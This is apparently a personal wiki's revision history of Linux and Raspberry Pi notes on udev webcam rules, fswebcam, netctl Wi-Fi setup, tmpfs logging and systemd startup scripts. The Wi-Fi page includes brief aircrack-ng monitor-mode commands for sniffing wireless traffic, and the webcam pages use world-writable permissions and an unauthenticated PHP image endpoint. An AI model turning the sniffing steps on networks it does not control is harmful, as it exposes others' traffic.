ATTRS{iad_bFunctionProtocol}=="00"
ATTRS{supports_autosuspend}=="1"
ATTRS{iad_bInterfaceCount}=="02"
ATTRS{bAlternateSetting}==" 0"
ATTRS{bInterfaceNumber}=="00"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3':
KERNELS=="1-1.3"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="02"
ATTRS{bDeviceProtocol}=="01"
ATTRS{devpath}=="1.3"
ATTRS{idVendor}=="045e"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 4"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{busnum}=="1"
ATTRS{devnum}=="6"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="500mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="80"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="0"
ATTRS{bcdDevice}=="0100"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="38"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="Microsoft"
ATTRS{removable}=="removable"
ATTRS{idProduct}=="0761"
ATTRS{bDeviceClass}=="ef"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1':
KERNELS=="1-1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="02"
ATTRS{devpath}=="1"
ATTRS{idVendor}=="0424"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{busnum}=="1"
ATTRS{devnum}=="2"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="2mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="e0"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="3"
ATTRS{bcdDevice}=="0200"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="80"
ATTRS{ltm_capable}=="no"
ATTRS{removable}=="unknown"
ATTRS{idProduct}=="9512"
ATTRS{bDeviceClass}=="09"

looking at parent device '/devices/platform/bcm2708_usb/usb1':
KERNELS=="usb1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="01"
ATTRS{devpath}=="0"
ATTRS{idVendor}=="1d6b"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{authorized_default}=="1"
ATTRS{busnum}=="1"
ATTRS{devnum}=="1"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="0mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="e0"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="1"
ATTRS{bcdDevice}=="0318"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{serial}=="bcm2708_usb"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="26"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="Linux 3.18.9-3-ARCH dwc_otg_hcd"
ATTRS{removable}=="unknown"
ATTRS{idProduct}=="0002"
ATTRS{bDeviceClass}=="09"
ATTRS{product}=="DWC OTG Controller"

looking at parent device '/devices/platform/bcm2708_usb':
KERNELS=="bcm2708_usb"
SUBSYSTEMS=="platform"
DRIVERS=="dwc_otg"
ATTRS{hnp}=="HstNegScs = 0x0"
ATTRS{srp}=="SesReqScs = 0x1"
ATTRS{regvalue}=="invalid offset"
ATTRS{hsic_connect}=="HSIC Connect = 0x1"
ATTRS{guid}=="GUID = 0x2708a000"
ATTRS{mode}=="Mode = 0x1"
ATTRS{srpcapable}=="SRPCapable = 0x1"
ATTRS{regdump}=="Register Dump"
ATTRS{gpvndctl}=="GPVNDCTL = 0x00000000"
ATTRS{ggpio}=="GGPIO = 0x00000000"
ATTRS{hprt0}=="HPRT0 = 0x00001005"
ATTRS{wr_reg_test}=="Time to write GNPTXFSIZ reg 10000000 times: 670 msecs (67 jiffies)"
ATTRS{driver_override}=="(null)"
ATTRS{hcd_frrem}=="HCD Dump Frame Remaining"
ATTRS{mode_ch_tim_en}=="Mode Change Ready Timer Enable = 0x0"
ATTRS{gnptxfsiz}=="GNPTXFSIZ = 0x01000306"
ATTRS{remote_wakeup}=="Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0"
ATTRS{busconnected}=="Bus Connected = 0x1"
ATTRS{hcddump}=="HCD Dump"
ATTRS{gotgctl}=="GOTGCTL = 0x001c0001"
ATTRS{spramdump}=="SPRAM Dump"
ATTRS{grxfsiz}=="GRXFSIZ = 0x00000306"
ATTRS{gsnpsid}=="GSNPSID = 0x4f54280a"
ATTRS{gusbcfg}=="GUSBCFG = 0x00001700"
ATTRS{hptxfsiz}=="HPTXFSIZ = 0x02000406"
ATTRS{devspeed}=="Device Speed = 0x0"
ATTRS{fr_interval}=="Frame Interval = 0x1d4c"
ATTRS{rem_wakeup_pwrdn}==""
ATTRS{bussuspend}=="Bus Suspend = 0x0"
ATTRS{buspower}=="Bus Power = 0x1"
ATTRS{hnpcapable}=="HNPCapable = 0x1"
ATTRS{rd_reg_test}=="Time to read GNPTXFSIZ reg 10000000 times: 1510 msecs (151 jiffies)"
ATTRS{enumspeed}=="Device Enumeration Speed = 0x1"
ATTRS{inv_sel_hsic}=="Invert Select HSIC = 0x0"
ATTRS{regoffset}=="0xffffffff"

looking at parent device '/devices/platform':
KERNELS=="platform"
SUBSYSTEMS==""
DRIVERS==""
</syntaxhighlight>

In the udev rules file, match all attributes that uniquely identify the device you're targetting. In the example above, using the <code>SUBSYSTEM</code>, <code>ATTRS{idVendor}</code>, and <code>ATTRS{idProduct}</code> would be sufficient. Eg:
SUBSYSTEM=="video4linux", ATTRS{idVendor}=="045e"

In the second half of the line, you may define values for this device. If the webcam needs to be world read and writable, assign <code>0666</code> to <code>MODE</code> like so:
SUBSYSTEM=="video4linux", ATTRS{idVendor}=="045e", ATTRS{idProduct}=="0761", MODE="0666"

Restart the udev daemon and check the logs for any errors. If the rules are correct, replugging the device should have have the affects defined in the rules.

== See Also ==
* http://hackaday.com/2009/09/18/how-to-write-udev-rules/
[[Category:Linux]]

Udev Rules

2015-03-23T08:35:54Z

10.1.1.3:

Udev Rules

2015-03-23T08:35:44Z

10.1.1.3: Created page with "== Creating New <code>udev</code> rules === Place new rules in <code>/etc/udev/rules.d</code>. The filename should be numbered. If you are attempting to write a rule for a s..."

== Creating New <code>udev</code> rules ===

Place new rules in <code>/etc/udev/rules.d</code>. The filename should be numbered.

If you are attempting to write a rule for a specific device, you should plug the device to your computer now and determine what the device path is. You must then list out all the udev properties of the device using the <code>udevadm</code> command.

For example, to create a udev rule for a USB Webcam at <code>/etc/video0</code>:
<syntaxhighlight lang="text">
# udevadm info -a -p `udevadm info -q path -n /dev/video0`

Udevadm info starts with the device specified by the devpath and then
walks up the chain of parent devices. It prints for every device
found, all possible attributes in the udev rules key format.
A rule to match, can be composed by the attributes of the device
and the attributes from one single parent device.

looking at device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/video4linux/video0':
KERNEL=="video0"
SUBSYSTEM=="video4linux"
DRIVER==""
ATTR{debug}=="0"
ATTR{index}=="0"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0':
KERNELS=="1-1.3:1.0"
SUBSYSTEMS=="usb"
DRIVERS=="uvcvideo"
ATTRS{bInterfaceClass}=="0e"
ATTRS{iad_bFunctionClass}=="0e"
ATTRS{iad_bFirstInterface}=="00"
ATTRS{bInterfaceSubClass}=="01"
ATTRS{bInterfaceProtocol}=="00"
ATTRS{bNumEndpoints}=="01"
ATTRS{iad_bFunctionSubClass}=="03"
ATTRS{iad_bFunctionProtocol}=="00"
ATTRS{supports_autosuspend}=="1"
ATTRS{iad_bInterfaceCount}=="02"
ATTRS{bAlternateSetting}==" 0"
ATTRS{bInterfaceNumber}=="00"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1/1-1.3':
KERNELS=="1-1.3"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="02"
ATTRS{bDeviceProtocol}=="01"
ATTRS{devpath}=="1.3"
ATTRS{idVendor}=="045e"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 4"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{busnum}=="1"
ATTRS{devnum}=="6"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="500mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="80"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="0"
ATTRS{bcdDevice}=="0100"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="38"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="Microsoft"
ATTRS{removable}=="removable"
ATTRS{idProduct}=="0761"
ATTRS{bDeviceClass}=="ef"

looking at parent device '/devices/platform/bcm2708_usb/usb1/1-1':
KERNELS=="1-1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="02"
ATTRS{devpath}=="1"
ATTRS{idVendor}=="0424"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{busnum}=="1"
ATTRS{devnum}=="2"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="2mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="e0"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="3"
ATTRS{bcdDevice}=="0200"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="80"
ATTRS{ltm_capable}=="no"
ATTRS{removable}=="unknown"
ATTRS{idProduct}=="9512"
ATTRS{bDeviceClass}=="09"

looking at parent device '/devices/platform/bcm2708_usb/usb1':
KERNELS=="usb1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="01"
ATTRS{devpath}=="0"
ATTRS{idVendor}=="1d6b"
ATTRS{speed}=="480"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{authorized_default}=="1"
ATTRS{busnum}=="1"
ATTRS{devnum}=="1"
ATTRS{configuration}==""
ATTRS{bMaxPower}=="0mA"
ATTRS{authorized}=="1"
ATTRS{bmAttributes}=="e0"
ATTRS{bNumConfigurations}=="1"
ATTRS{maxchild}=="1"
ATTRS{bcdDevice}=="0318"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{quirks}=="0x0"
ATTRS{serial}=="bcm2708_usb"
ATTRS{version}==" 2.00"
ATTRS{urbnum}=="26"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="Linux 3.18.9-3-ARCH dwc_otg_hcd"
ATTRS{removable}=="unknown"
ATTRS{idProduct}=="0002"
ATTRS{bDeviceClass}=="09"
ATTRS{product}=="DWC OTG Controller"

looking at parent device '/devices/platform/bcm2708_usb':
KERNELS=="bcm2708_usb"
SUBSYSTEMS=="platform"
DRIVERS=="dwc_otg"
ATTRS{hnp}=="HstNegScs = 0x0"
ATTRS{srp}=="SesReqScs = 0x1"
ATTRS{regvalue}=="invalid offset"
ATTRS{hsic_connect}=="HSIC Connect = 0x1"
ATTRS{guid}=="GUID = 0x2708a000"
ATTRS{mode}=="Mode = 0x1"
ATTRS{srpcapable}=="SRPCapable = 0x1"
ATTRS{regdump}=="Register Dump"
ATTRS{gpvndctl}=="GPVNDCTL = 0x00000000"
ATTRS{ggpio}=="GGPIO = 0x00000000"
ATTRS{hprt0}=="HPRT0 = 0x00001005"
ATTRS{wr_reg_test}=="Time to write GNPTXFSIZ reg 10000000 times: 670 msecs (67 jiffies)"
ATTRS{driver_override}=="(null)"
ATTRS{hcd_frrem}=="HCD Dump Frame Remaining"
ATTRS{mode_ch_tim_en}=="Mode Change Ready Timer Enable = 0x0"
ATTRS{gnptxfsiz}=="GNPTXFSIZ = 0x01000306"
ATTRS{remote_wakeup}=="Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0"
ATTRS{busconnected}=="Bus Connected = 0x1"
ATTRS{hcddump}=="HCD Dump"
ATTRS{gotgctl}=="GOTGCTL = 0x001c0001"
ATTRS{spramdump}=="SPRAM Dump"
ATTRS{grxfsiz}=="GRXFSIZ = 0x00000306"
ATTRS{gsnpsid}=="GSNPSID = 0x4f54280a"
ATTRS{gusbcfg}=="GUSBCFG = 0x00001700"
ATTRS{hptxfsiz}=="HPTXFSIZ = 0x02000406"
ATTRS{devspeed}=="Device Speed = 0x0"
ATTRS{fr_interval}=="Frame Interval = 0x1d4c"
ATTRS{rem_wakeup_pwrdn}==""
ATTRS{bussuspend}=="Bus Suspend = 0x0"
ATTRS{buspower}=="Bus Power = 0x1"
ATTRS{hnpcapable}=="HNPCapable = 0x1"
ATTRS{rd_reg_test}=="Time to read GNPTXFSIZ reg 10000000 times: 1510 msecs (151 jiffies)"
ATTRS{enumspeed}=="Device Enumeration Speed = 0x1"
ATTRS{inv_sel_hsic}=="Invert Select HSIC = 0x0"
ATTRS{regoffset}=="0xffffffff"

looking at parent device '/devices/platform':
KERNELS=="platform"
SUBSYSTEMS==""
DRIVERS==""
</syntaxhighlight>

In the udev rules file, match all attributes that uniquely identify the device you're targetting. In the example above, using the <code>SUBSYSTEM</code>, <code>ATTRS{idVendor}</code>, and <code>ATTRS{idProduct}</code> would be sufficient. Eg:
SUBSYSTEM=="video4linux", ATTRS{idVendor}=="045e"

In the second half of the line, you may define values for this device. If the webcam needs to be world read and writable, assign <code>0666</code> to <code>MODE</code> like so:
SUBSYSTEM=="video4linux", ATTRS{idVendor}=="045e", ATTRS{idProduct}=="0761", MODE="0666"

Restart the udev daemon and check the logs for any errors. If the rules are correct, replugging the device should have have the affects defined in the rules.

[[Category:Linux]]

Webcam

2015-03-23T08:14:24Z

10.1.1.3:

== Linux ==
To get a webcam working for Linux, ensure that it's supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a <code>/dev/video0</code> device when the webcam is plugged into the computer. If not, check <code>dmesg</code> and see if the USB device is being detected. <code>lsusb</code> should also list it.

The default permissions set to <code>/dev/video0</code> is set by udev. If you need to change the device permissions (say making it world read/writable), you will need to create a udev rule by creating a new file in <code>/etc/udev/rules.d/</code> with the following contents:

<syntaxhighlight lang="text">
SUBSYSTEM=="video4linux", BUS=="usb", SYSFS{idVendor}=="045e", SYSFS{idProduct}=="0761", NAME="video0", MODE="0666"
</syntaxhighlight>

The Vendor ID and product ID must match the values from <code>lsusb</code>. For the example above (a Microsoft LifeCam VX-2000):
# lsusb
Bus 001 Device 005: ID 045e:0761 Microsoft Corp.

To capture images, use any one of the following utilities:
* fswebcam
* uvccapture

=== fswebcam ===
fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg

==== Dumping fswebcam images via HTTP ====
You can make a quick an dirty wrapper around the command above so that it can be viewed via the web.

<syntaxhighlight lang="php">
<?php

system("fswebcam -r 640x480 --jpeg 85 -D 1 /tmp/out.jpg > /dev/null");
header("Content-Type: image/jpeg");
echo file_get_contents("/tmp/out.jpg");
</syntaxhighlight>

=== uvccapture ===

[[Category:Linux]]

Webcam

2015-03-23T08:12:26Z

10.1.1.3:

== Linux ==
To get a webcam working for Linux, ensure that it's supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a <code>/dev/video0</code> device when the webcam is plugged into the computer. If not, check <code>dmesg</code> and see if the USB device is being detected. <code>lsusb</code> should also list it.

The default permissions set to <code>/dev/video0</code> is set by udev. If you need to change the device permissions (say making it world read/writable), you will need to create a udev rule by creating a new file in <code>/etc/udev/rules.d/</code> with the following contents:

<syntaxhighlight lang="text">
SUBSYSTEM=="video4linux", BUS=="usb", SYSFS{idVendor}=="045e", SYSFS{idProduct}=="0761", NAME="video0"
</syntaxhighlight>

The Vendor ID and product ID must match the values from <code>lsusb</code>. For the example above (a Microsoft LifeCam VX-2000):
# lsusb
Bus 001 Device 005: ID 045e:0761 Microsoft Corp.

To capture images, use any one of the following utilities:
* fswebcam
* uvccapture

=== fswebcam ===
fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg

==== Dumping fswebcam images via HTTP ====
You can make a quick an dirty wrapper around the command above so that it can be viewed via the web.

<syntaxhighlight lang="php">
<?php

system("fswebcam -r 640x480 --jpeg 85 -D 1 /tmp/out.jpg > /dev/null");
header("Content-Type: image/jpeg");
echo file_get_contents("/tmp/out.jpg");
</syntaxhighlight>

=== uvccapture ===

[[Category:Linux]]

Webcam

2015-03-23T08:03:45Z

10.1.1.3:

PHP Header

2015-03-23T07:33:36Z

10.1.1.3: Created page with " header('Content-Type: ' . image_type_to_mime_type($image_type)); where <code>$image_type</code> is any one of the <code>IMAGETYPE_XXX</code> constants as listed in http://p..."

header('Content-Type: ' . image_type_to_mime_type($image_type));

where <code>$image_type</code> is any one of the <code>IMAGETYPE_XXX</code> constants as listed in http://php.net/image_type_to_mime_type.

<syntaxhighlight lang="text">
IMAGETYPE_GIF image/gif
IMAGETYPE_JPEG image/jpeg
IMAGETYPE_PNG image/png
IMAGETYPE_SWF application/x-shockwave-flash
IMAGETYPE_PSD image/psd
IMAGETYPE_BMP image/bmp
IMAGETYPE_TIFF_II (intel byte order) image/tiff
IMAGETYPE_TIFF_MM (motorola byte order) image/tiff
IMAGETYPE_JPC application/octet-stream
IMAGETYPE_JP2 image/jp2
IMAGETYPE_JPX application/octet-stream
IMAGETYPE_JB2 application/octet-stream
IMAGETYPE_SWC application/x-shockwave-flash
IMAGETYPE_IFF image/iff
IMAGETYPE_WBMP image/vnd.wap.wbmp
IMAGETYPE_XBM image/xbm
IMAGETYPE_ICO image/vnd.microsoft.icon
</syntaxhighlight>

Wi-Fi

2015-03-23T07:27:31Z

10.1.1.3: /* Automatically Connecting */

== Monitoring Access Points ==
To monitor data on the wifi network, install aircrack-ng, then run:
airomon-ng start wlan0
airodump-ng wlan0

You may get an error like:
<syntaxhighlight lang="text">
[root@alarmpi ~]# airodump-ng wlan0
ioctl(SIOCSIWMODE) failed: Device or resource busy

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead. Make
sure RFMON is enabled: run 'airmon-ng start wlan0 <#>'
Sysfs injection support was not found either.
</syntaxhighlight>

Make sure that the wireless device is in the monitor mode and then try again.

<syntaxhighlight lang="text">
[root@alarmpi ~]# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

[root@alarmpi ~]# ifconfig wlan0 down
[root@alarmpi ~]# iwconfig wlan0 mode monitor
[root@alarmpi ~]# ifconfig wlan0 up
[root@alarmpi ~]# iwconfig wlan0
wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.422 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
</syntaxhighlight>

== Automatically Connecting ==
Install wpa_supplicant since it's required to connect to wpa networks:
pacman -S wpa_supplicant

You will need to create a netctl profile in /etc/netctl. This can be done either manually or through the <code>wifi-menu</code> command. Example WPA configuration files can be viewed in <code>/etc/netctl/examples/wireless-wpa</code> and can be copied to <code>/etc/netctl</code> and used as a template configuration file.

<syntaxhighlight lang="text">
# cat /etc/netctl/wlan0-dd-wrt
Description='Automatically generated profile by wifi-menu'
Interface=wlan0
Connection=wireless
Security=wpa
ESSID=dd-wrt
IP=dhcp
Key=\"f0c8a9e643*************************************************af10f
</syntaxhighlight>

Your <code>Key</code> can be your password or the PSK key generated using <code>wpa_passphrase</code>. <code>wifi-menu</code> will automatically generate and use the PSK key instead of storing the plain text copy of the password.

<syntaxhighlight lang="text">
# wpa_passphrase dd-wrt ap_password
network={
ssid="dd-wrt"
#psk="ap_password"
psk=14c5441f17e930da158a71592c3c7914315424f08d03c225d1092076093c32ee
}
</syntaxhighlight>

You can then connect to the access point by running:
netctl start '''profile-name'''

If it errors out, check the systemd logs using <code>journalctl -xe</code>. If you're still having issues connecting, you may want to try reseating the wireless device or rebooting the machine.

To make the machine join a wireless access point automatically, create a startup script (see [[Systemd]] for more information) containing:
<syntaxhighlight lang="bash">#!/bin/sh

sh -c 'while ! netctl start wlan0-dd-wrt ; do echo Wi-Fi failed to come up. Retrying ; sleep 1 ; done'

</syntaxhighlight>

== See Also ==
* https://wiki.archlinux.org/index.php/netctl

Raspberry Pi

2015-03-23T07:21:54Z

10.1.1.3: Created page with " == Mounting <code>/var/log</code> as tmpfs == Append to the <code>/etc/fstab</code> with the following line. tmpfs /var/log tmpfs nodev,nosuid,mode=0755,size=50m..."

== Mounting <code>/var/log</code> as tmpfs ==

Append to the <code>/etc/fstab</code> with the following line.
tmpfs /var/log tmpfs nodev,nosuid,mode=0755,size=50m 0 0

This will mount <code>/var/log</code> as a 50MB ramdisk. If your system is using <code>systemd</code>, this will break <code>systemd-journald</code>. To fix it, you will need to [[Systemd|create a startup script]] after the mount has completed that creates the <code>journald</code>'s directory in <code>/var/log/journal/</code>.

Reboot the Pi for the changes to take affect, or run <code>mount -a</code> which will mount the ramdisk to /var/log immediately, though you'll need to restart any services that has handles to any files there.

Why would you want to do this? To limit the amount of writes that is made to the SD card to prevent premature wearing.

[[Category:Linux]]

Webcam

2015-03-23T07:16:09Z

10.1.1.3: Created page with " == Linux == To get a webcam working for Linux, ensure that it's supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should s..."

Wi-Fi

2015-03-23T07:07:35Z

10.1.1.3:

== Monitoring Access Points ==
To monitor data on the wifi network, install aircrack-ng, then run:
airomon-ng start wlan0
airodump-ng wlan0

You may get an error like:
<syntaxhighlight lang="text">
[root@alarmpi ~]# airodump-ng wlan0
ioctl(SIOCSIWMODE) failed: Device or resource busy

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead. Make
sure RFMON is enabled: run 'airmon-ng start wlan0 <#>'
Sysfs injection support was not found either.
</syntaxhighlight>

Make sure that the wireless device is in the monitor mode and then try again.

<syntaxhighlight lang="text">
[root@alarmpi ~]# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

[root@alarmpi ~]# ifconfig wlan0 down
[root@alarmpi ~]# iwconfig wlan0 mode monitor
[root@alarmpi ~]# ifconfig wlan0 up
[root@alarmpi ~]# iwconfig wlan0
wlan0 IEEE 802.11bgn Mode:Monitor Frequency:2.422 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
</syntaxhighlight>

== Automatically Connecting ==
Use the script in [[Systemd]] to automatically start scripts on boot time using systemd.

Install wpa_supplicant since it's required to connect to wpa networks:
pacman -S wpa_supplicant

You will need to create a netctl profile in /etc/netctl. This can be done either manually or through the <code>wifi-menu</code> command. Example WPA configuration files can be viewed in <code>/etc/netctl/examples/wireless-wpa</code> and can be copied to <code>/etc/netctl</code> and used as a template configuration file.

<syntaxhighlight lang="text">
# cat /etc/netctl/wlan0-dd-wrt
Description='Automatically generated profile by wifi-menu'
Interface=wlan0
Connection=wireless
Security=wpa
ESSID=dd-wrt
IP=dhcp
Key=\"f0c8a9e643*************************************************af10f
</syntaxhighlight>

Your <code>Key</code> can be your password or the PSK key generated using <code>wpa_passphrase</code>. <code>wifi-menu</code> will automatically generate and use the PSK key instead of storing the plain text copy of the password.

<syntaxhighlight lang="text">
# wpa_passphrase dd-wrt ap_password
network={
ssid="dd-wrt"
#psk="ap_password"
psk=14c5441f17e930da158a71592c3c7914315424f08d03c225d1092076093c32ee
}
</syntaxhighlight>

You can then connect to the access point by running:
netctl start '''profile-name'''

If it errors out, check the systemd logs using <code>journalctl -xe</code>. If you're still having issues connecting, you may want to try reseating the wireless device or rebooting the machine.

== See Also ==
* https://wiki.archlinux.org/index.php/netctl

Systemd

2015-03-23T06:59:30Z

10.1.1.3:

== SystemV-like Init Scripts ==

If you have custom packages that make use of the old SystemV startup scripts, you can use the following files to make use of such scripts.

In <code>/usr/lib/systemd/system/startup.service</code>
<syntaxhighlight lang="text">
[Unit]
Description=Custom SystemV-like Startup
After=network.target
ConditionFileIsExecutable=/usr/local/sbin/custom-startup-initd

[Service]
Type=oneshot
ExecStart=/usr/local/sbin/custom-startup-initd
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

</syntaxhighlight>

A few things of interest.
* The <code>ConditionFileIsExecutable</code> will only run the script if it's executable. It basically does a <code>test -x</code> on the file before this continues.
* <code>RemainAfterExit</code> will cause systemd to show the service as active even after the script has finished execution.

In <code>/usr/local/sbin/custom-startup-initd</code>:
<syntaxhighlight lang="bash">
#!/bin/sh
StartupDir="/usr/local/boot/startup"

# Run all scripts starting with 'S'
for i in `ls $StartupDir/S*` ; do
ScriptName=`basename $i`
sh $StartupDir/$ScriptName
done

# Success exit code.
exit 0
</syntaxhighlight>

Make the directory:
mkdir -p /usr/local/boot/startup/

Then place your scripts in the startup directory starting with the letter 'S'.

Enable the new service by running:
systemctl enable startup
systemctl start startup

Verify this:
systemctl status startup.service

[[Category:Linux]]

Systemd

2015-03-23T06:58:10Z

10.1.1.3:

Wi-Fi

2015-03-23T06:37:59Z

10.1.1.3: /* Automatically Connecting */